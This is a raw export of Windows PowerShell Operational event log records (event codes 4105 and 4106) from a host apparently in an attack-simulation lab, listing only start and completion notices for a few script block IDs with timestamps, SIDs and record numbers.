User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648774
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648773
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648772
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648771
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648770
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648769
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648768
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648767
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648766
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648765
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648784
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648783
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648782
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648781
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648780
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648779
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648778
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648777
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648776
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648775
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648794
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648793
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648792
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648791
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648790
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648789
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648788
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648787
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648786
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648785
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648804
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648803
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648802
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648801
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648800
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648799
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648798
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648797
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648796
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648795
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648814
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648813
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648812
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648811
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648809
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648808
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648807
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648806
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648805
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648824
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648823
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648822
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648821
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:02 PM
